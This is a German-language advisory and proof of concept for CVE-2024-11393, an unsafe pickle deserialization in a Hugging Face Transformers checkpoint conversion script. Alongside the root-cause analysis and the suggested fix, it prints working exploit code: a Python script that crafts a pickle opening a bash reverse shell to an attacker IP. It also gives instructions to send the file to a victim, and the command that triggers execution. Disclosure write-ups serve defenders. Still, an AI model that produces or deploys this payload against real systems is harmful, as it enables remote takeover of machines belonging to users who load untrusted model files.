
Technical Details and Exploit for CVE-2024-11393
Allgemeiner Überblick und Auswirkungen der Sicherheitslücke:
Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf dem Host-Rechner auszuführen, indem er eine bösartige maskformer resnet Checkpoint-Datei an das Skript convert_maskformer_swin_to_pytorch.py im Hugging Face Transformers Repository übergibt.
Wenn ein ahnungsloser Benutzer eine Checkpoint-Datei eines Drittanbieters verwendet, führt die Ausführung des Skripts convert_maskformer_swin_to_pytorch.py zu einer Remote-Codeausführung (RCE) auf dem System des Opfers.
Das betroffene Produkt
Ursachenanalyse
Detaillierte Beschreibung der Sicherheitslücke: Die Sicherheitslücke resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet pickle.load, um die Checkpoint-Datei zu laden, und ist daher anfällig für Codeausführung.
Code-Ablauf von der Eingabe bis zum verwundbaren Zustand:
maskformer-Modell eines Drittanbieters herunter.convert_maskformer_swin_to_pytorch.py aus und übergibt die Checkpoint-Datei an dieses.convert_maskformer_swin_to_pytorch.py deserialisiert die Checkpoint-Datei und führt den bösartigen Code aus.Einschleusungspunkt: Die Sicherheitslücke tritt an der Stelle auf, an der pickle.load aufgerufen wird.
GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
Vorgeschlagene Korrekturen: Ersetzen Sie pickle.load durch yaml.safe_load(yaml_file) oder json.load, um die Ausführung beliebigen Codes zu verhindern.
Anweisungen zur Ausführung des Proof-of-Concept:
malicious.pkl, die eine Reverse-Shell auf dem System des Opfers erstellt:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
Hinweis: Ändern Sie die ATTACKER_IP und ATTACKER_PORT, bevor Sie die Datei an das Opfer senden.
convert_maskformer_swin_to_pytorch.py aus und übergeben Sie die Datei malicious.pkl an --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
Hinweis: Der
pytorch_dump_folder_pathkann auf ein beliebiges Verzeichnis gesetzt werden, und dermodel_namekann ein beliebiges Modell sein.
Link zum Software-Download:
https://github.com/huggingface/transformers/tree/main